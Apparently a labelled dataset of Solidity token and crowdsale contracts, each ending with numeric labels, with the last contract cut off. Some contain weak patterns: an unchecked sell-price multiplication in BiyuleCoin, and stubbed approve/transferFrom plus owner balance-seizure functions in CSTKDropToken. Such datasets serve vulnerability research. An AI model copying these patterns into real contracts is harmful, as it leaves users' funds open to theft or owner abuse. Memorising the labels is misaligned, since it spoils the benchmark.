_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "OREToken";
string public constant TOKEN_SYMBOL = "ORET";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xdb0bb4b165bCC6a5b308E10F1388f87c3385d71a;
uint public constant START_TIME = 1540958439;
bool public constant CONTINUE_MINTING = false;
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale {
function hasStarted() public view returns (bool) {
return now >= openingTime;
}
function startTime() public view returns (uint256) {
return openingTime;
}
function endTime() public view returns (uint256) {
return closingTime;
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
function hasEnded() public view returns (bool) {
return hasClosed();
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
require(MintableToken(token).finishMinting());
}
Ownable(token).transferOwnership(TARGET_USER);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
constructor(MintableToken _token) public
Crowdsale(400 * TOKEN_DECIMAL_MULTIPLIER, 0xdb0bb4b165bCC6a5b308E10F1388f87c3385d71a, _token)
TimedCrowdsale(START_TIME > now ? START_TIME : now, 1543672800)
CappedCrowdsale(30000000000000000000000)
{
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
address[1] memory addresses = [address(0x536bc6f87dff0078b95c95b1ad77992caeef04f7)];
uint[1] memory amounts = [uint(500000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
MainToken(token).mint(addresses[i], amounts[i]);
} else {
MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function hasClosed() public view returns (bool) {
bool remainValue = cap.sub(weiRaised) < 250000000000000000;
return super.hasClosed() || remainValue;
}
function setStartTime(uint _startTime) public onlyOwner {
require(now < openingTime);
require(_startTime > openingTime);
require(_startTime < closingTime);
emit TimesChanged(_startTime, closingTime, openingTime, closingTime);
openingTime = _startTime;
}
function setEndTime(uint _endTime) public onlyOwner {
require(now < closingTime);
require(now < _endTime);
require(_endTime > openingTime);
emit TimesChanged(openingTime, _endTime, openingTime, closingTime);
closingTime = _endTime;
}
function setTimes(uint _startTime, uint _endTime) public onlyOwner {
require(_endTime > _startTime);
uint oldStartTime = openingTime;
uint oldEndTime = closingTime;
bool changed = false;
if (_startTime != oldStartTime) {
require(_startTime > now);
require(now < oldStartTime);
require(_startTime > oldStartTime);
openingTime = _startTime;
changed = true;
}
if (_endTime != oldEndTime) {
require(now < oldEndTime);
require(now < _endTime);
closingTime = _endTime;
changed = true;
}
if (changed) {
emit TimesChanged(openingTime, _endTime, openingTime, closingTime);
}
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(msg.value >= 250000000000000000);
require(msg.value <= 750000000000000000000);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
} | 0 | 106 |
pragma solidity ^0.4.24;
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner returns (address account) {
owner = newOwner;
return owner;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
contract CSTKDropToken is ERC20, Owned {
using SafeMath for uint256;
string public symbol;
string public name;
uint256 public decimals;
uint256 _totalSupply;
bool public started;
address public token;
struct Level {
uint256 price;
uint256 available;
}
Level[] levels;
mapping(address => uint256) balances;
mapping(address => mapping(string => uint256)) orders;
event TransferETH(address indexed from, address indexed to, uint256 eth);
event Sell(address indexed to, uint256 tokens, uint256 eth);
constructor(string _symbol, string _name, uint256 _supply, uint256 _decimals, address _token) public {
symbol = _symbol;
name = _name;
decimals = _decimals;
token = _token;
_totalSupply = _supply;
balances[owner] = _totalSupply;
started = false;
emit Transfer(address(0), owner, _totalSupply);
}
function destruct() public onlyOwner {
ERC20 tokenInstance = ERC20(token);
uint256 balance = tokenInstance.balanceOf(this);
if (balance > 0) {
tokenInstance.transfer(owner, balance);
}
selfdestruct(owner);
}
function setToken(address newTokenAddress) public onlyOwner returns (bool success) {
token = newTokenAddress;
return true;
}
function totalSupply() public view returns (uint256) {
return _totalSupply.sub(balances[address(0)]);
}
function changeTotalSupply(uint256 newSupply) public onlyOwner returns (bool success) {
require(newSupply >= 0 && (
newSupply >= _totalSupply || _totalSupply - newSupply <= balances[owner]
));
uint256 diff = 0;
if (newSupply >= _totalSupply) {
diff = newSupply.sub(_totalSupply);
balances[owner] = balances[owner].add(diff);
emit Transfer(address(0), owner, diff);
} else {
diff = _totalSupply.sub(newSupply);
balances[owner] = balances[owner].sub(diff);
emit Transfer(owner, address(0), diff);
}
_totalSupply = newSupply;
return true;
}
function balanceOf(address tokenOwner) public view returns (uint256 balance) {
return balances[tokenOwner];
}
function start() public onlyOwner {
started = true;
}
function stop() public onlyOwner {
started = false;
}
function addLevel(uint256 price, uint256 available) public onlyOwner {
levels.push(Level(price, available));
}
function removeLevel(uint256 price) public onlyOwner {
if (levels.length < 1) {
return;
}
Level[] memory tmp = levels;
delete levels;
for (uint i = 0; i < tmp.length; i++) {
if (tmp[i].price != price) {
levels.push(tmp[i]);
}
}
}
function replaceLevel(uint index, uint256 price, uint256 available) public onlyOwner {
levels[index] = Level(price, available);
}
function clearLevels() public onlyOwner {
delete levels;
}
function getLevelAmount(uint256 price) public view returns (uint256 available) {
if (levels.length < 1) {
return 0;
}
for (uint i = 0; i < levels.length; i++) {
if (levels[i].price == price) {
return levels[i].available;
}
}
}
function getLevelByIndex(uint index) public view returns (uint256 price, uint256 available) {
price = levels[index].price;
available = levels[index].available;
}
function getLevelsCount() public view returns (uint) {
return levels.length;
}
function getCurrentLevel() public view returns (uint256 price, uint256 available) {
if (levels.length < 1) {
return;
}
for (uint i = 0; i < levels.length; i++) {
if (levels[i].available > 0) {
price = levels[i].price;
available = levels[i].available;
break;
}
}
}
function orderTokensOf(address customer) public view returns (uint256 balance) {
return orders[customer]['tokens'];
}
function orderEthOf(address customer) public view returns (uint256 balance) {
return orders[customer]['eth'];
}
function cancelOrder(address customer) public onlyOwner returns (bool success) {
orders[customer]['eth'] = 0;
orders[customer]['tokens'] = 0;
return true;
}
function _checkOrder(address customer) private returns (uint256 tokens, uint256 eth) {
require(started);
eth = 0;
tokens = 0;
if (getLevelsCount() <= 0 || orders[customer]['tokens'] <= 0 || orders[customer]['eth'] <= 0) {
return;
}
ERC20 tokenInstance = ERC20(token);
uint256 balance = tokenInstance.balanceOf(this);
uint256 orderEth = orders[customer]['eth'];
uint256 orderTokens = orders[customer]['tokens'] > balance ? balance : orders[customer]['tokens'];
for (uint i = 0; i < levels.length; i++) {
if (levels[i].available <= 0) {
continue;
}
uint256 _tokens = (10**decimals) * orderEth / levels[i].price;
if (_tokens > levels[i].available) {
_tokens = levels[i].available;
}
if (_tokens > orderTokens) {
_tokens = orderTokens;
}
uint256 _eth = _tokens * levels[i].price / (10**decimals);
levels[i].available -= _tokens;
eth += _eth;
tokens += _tokens;
orderEth -= _eth;
orderTokens -= _tokens;
if (orderEth <= 0 || orderTokens <= 0 || levels[i].available > 0) {
break;
}
}
orders[customer]['tokens'] = orders[customer]['tokens'].sub(tokens);
orders[customer]['eth'] = orders[customer]['eth'].sub(eth);
tokenInstance.transfer(customer, tokens);
emit Sell(customer, tokens, eth);
}
function checkOrder(address customer) public onlyOwner returns (uint256 tokens, uint256 eth) {
return _checkOrder(customer);
}
function transfer(address to, uint256 tokens) public returns (bool success) {
require(msg.sender == owner || to == owner || to == address(this));
address receiver = msg.sender == owner ? to : owner;
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[receiver] = balances[receiver].add(tokens);
emit Transfer(msg.sender, receiver, tokens);
if (receiver == owner) {
orders[msg.sender]['tokens'] = orders[msg.sender]['tokens'].add(tokens);
_checkOrder(msg.sender);
}
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining) {
tokenOwner;
spender;
return uint256(0);
}
function approve(address spender, uint tokens) public returns (bool success) {
spender;
tokens;
return true;
}
function transferFrom(address from, address to, uint256 tokens) public returns (bool success) {
from;
to;
tokens;
return true;
}
function () public payable {
owner.transfer(msg.value);
emit TransferETH(msg.sender, address(this), msg.value);
orders[msg.sender]['eth'] = orders[msg.sender]['eth'].add(msg.value);
_checkOrder(msg.sender);
}
function transferAnyERC20Token(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) {
return ERC20(tokenAddress).transfer(owner, tokens);
}
function transferToken(uint256 tokens) public onlyOwner returns (bool success) {
return transferAnyERC20Token(token, tokens);
}
function returnFrom(address tokenOwner, uint256 tokens) public onlyOwner returns (bool success) {
balances[tokenOwner] = balances[tokenOwner].sub(tokens);
balances[owner] = balances[owner].add(tokens);
emit Transfer(tokenOwner, owner, tokens);
return true;
}
function nullifyFrom(address tokenOwner) public onlyOwner returns (bool success) {
return returnFrom(tokenOwner, balances[tokenOwner]);
}
}
contract CSTK_CLT is CSTKDropToken('CSTK_CLT', 'CryptoStock CLT Promo Token', 100000 * 10**8, 8, 0x2001f2A0Cf801EcFda622f6C28fb6E10d803D969) {
} | 1 | 2,397 |
pragma solidity ^0.4.25;
interface ERC20 {
function totalSupply() external constant returns (uint);
function balanceOf(address tokenOwner) external constant returns (uint balance);
function allowance(address tokenOwner, address spender) external constant returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function approveAndCall(address spender, uint tokens, bytes data) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) external;
}
contract GooToken is ERC20 {
using SafeMath for uint;
using SafeMath224 for uint224;
string public constant name = "Vials of Goo";
string public constant symbol = "GOO";
uint8 public constant decimals = 12;
uint224 public constant MAX_SUPPLY = 21000000 * (10 ** 12);
mapping(address => UserBalance) balances;
mapping(address => mapping(address => uint256)) allowed;
mapping(address => uint256) public gooProduction;
mapping(address => bool) operator;
uint224 private totalGoo;
uint256 public teamAllocation;
address public owner;
bool public supplyCapHit;
struct UserBalance {
uint224 goo;
uint32 lastGooSaveTime;
}
constructor() public {
teamAllocation = MAX_SUPPLY / 10;
owner = msg.sender;
}
function totalSupply() external view returns(uint) {
return totalGoo;
}
function transfer(address to, uint256 tokens) external returns (bool) {
updatePlayersGooInternal(msg.sender);
require(tokens <= MAX_SUPPLY);
uint224 amount = uint224(tokens);
balances[msg.sender].goo = balances[msg.sender].goo.sub(amount);
emit Transfer(msg.sender, to, amount);
if (to == address(0)) {
totalGoo -= amount;
} else {
balances[to].goo = balances[to].goo.add(amount);
}
return true;
}
function transferFrom(address from, address to, uint256 tokens) external returns (bool) {
updatePlayersGooInternal(from);
require(tokens <= MAX_SUPPLY);
uint224 amount = uint224(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(amount);
balances[from].goo = balances[from].goo.sub(amount);
emit Transfer(from, to, amount);
if (to == address(0)) {
totalGoo -= amount;
} else {
balances[to].goo = balances[to].goo.add(amount);
}
return true;
}
function unlockAllocation(uint224 amount, address recipient) external {
require(msg.sender == owner);
teamAllocation = teamAllocation.sub(amount);
totalGoo += amount;
balances[recipient].goo = balances[recipient].goo.add(amount);
emit Transfer(address(0), recipient, amount);
}
function setOperator(address gameContract, bool isOperator) external {
require(msg.sender == owner);
operator[gameContract] = isOperator;
}
function approve(address spender, uint256 tokens) external returns (bool) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function approveAndCall(address spender, uint256 tokens, bytes data) external returns (bool) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function allowance(address tokenOwner, address spender) external view returns (uint256) {
return allowed[tokenOwner][spender];
}
function recoverAccidentalTokens(address tokenAddress, uint256 tokens) external {
require(msg.sender == owner);
require(tokenAddress != address(this));
ERC20(tokenAddress).transfer(owner, tokens);
}
function balanceOf(address player) public constant returns(uint256) {
return balances[player].goo + balanceOfUnclaimedGoo(player);
}
function balanceOfUnclaimedGoo(address player) internal constant returns (uint224 gooGain) {
if (supplyCapHit) return;
uint32 lastSave = balances[player].lastGooSaveTime;
if (lastSave > 0 && lastSave < block.timestamp) {
gooGain = uint224(gooProduction[player] * (block.timestamp - lastSave));
}
if (totalGoo + gooGain >= MAX_SUPPLY) {
gooGain = MAX_SUPPLY - totalGoo;
}
}
function mintGoo(uint224 amount, address player) external {
if (supplyCapHit) return;
require(operator[msg.sender]);
uint224 minted = amount;
if (totalGoo.add(amount) >= MAX_SUPPLY) {
supplyCapHit = true;
minted = MAX_SUPPLY - totalGoo;
}
balances[player].goo += minted;
totalGoo += minted;
emit Transfer(address(0), player, minted);
}
function updatePlayersGoo(address player) external {
require(operator[msg.sender]);
updatePlayersGooInternal(player);
}
function updatePlayersGooInternal(address player) internal {
uint224 gooGain = balanceOfUnclaimedGoo(player);
UserBalance memory balance = balances[player];
if (gooGain > 0) {
totalGoo += gooGain;
if (!supplyCapHit && totalGoo == MAX_SUPPLY) {
supplyCapHit = true;
}
balance.goo += gooGain;
emit Transfer(address(0), player, gooGain);
}
if (balance.lastGooSaveTime < block.timestamp) {
balance.lastGooSaveTime = uint32(block.timestamp);
balances[player] = balance;
}
}
function updatePlayersGooFromPurchase(address player, uint224 purchaseCost) external {
require(operator[msg.sender]);
uint224 unclaimedGoo = balanceOfUnclaimedGoo(player);
UserBalance memory balance = balances[player];
balance.lastGooSaveTime = uint32(block.timestamp);
if (purchaseCost > unclaimedGoo) {
uint224 gooDecrease = purchaseCost - unclaimedGoo;
totalGoo -= gooDecrease;
balance.goo = balance.goo.sub(gooDecrease);
emit Transfer(player, address(0), gooDecrease);
} else {
uint224 gooGain = unclaimedGoo - purchaseCost;
totalGoo += gooGain;
balance.goo += gooGain;
if (!supplyCapHit && totalGoo == MAX_SUPPLY) {
supplyCapHit = true;
}
emit Transfer(address(0), player, gooGain);
}
balances[player] = balance;
}
function increasePlayersGooProduction(address player, uint256 increase) external {
require(operator[msg.sender]);
gooProduction[player] += increase;
}
function decreasePlayersGooProduction(address player, uint256 decrease) external {
require(operator[msg.sender]);
gooProduction[player] -= decrease;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library SafeMath224 {
function mul(uint224 a, uint224 b) internal pure returns (uint224) {
if (a == 0) {
return 0;
}
uint224 c = a * b;
assert(c / a == b);
return c;
}
function div(uint224 a, uint224 b) internal pure returns (uint224) {
uint224 c = a / b;
return c;
}
function sub(uint224 a, uint224 b) internal pure returns (uint224) {
assert(b <= a);
return a - b;
}
function add(uint224 a, uint224 b) internal pure returns (uint224) {
uint224 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 1,079 |
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 4;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract BiyuleCoin is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function BiyuleCoin(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value >= balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
} | 1 | 2,286 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract PrivateCoin {
string public name = "Private Coin";
string public symbol = "PRIC";
uint8 public decimals = 18;
uint256 public totalSupply;
uint256 public PrivateCoinSupply = 89999999;
uint256 public buyPrice = 199999;
address public creator;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
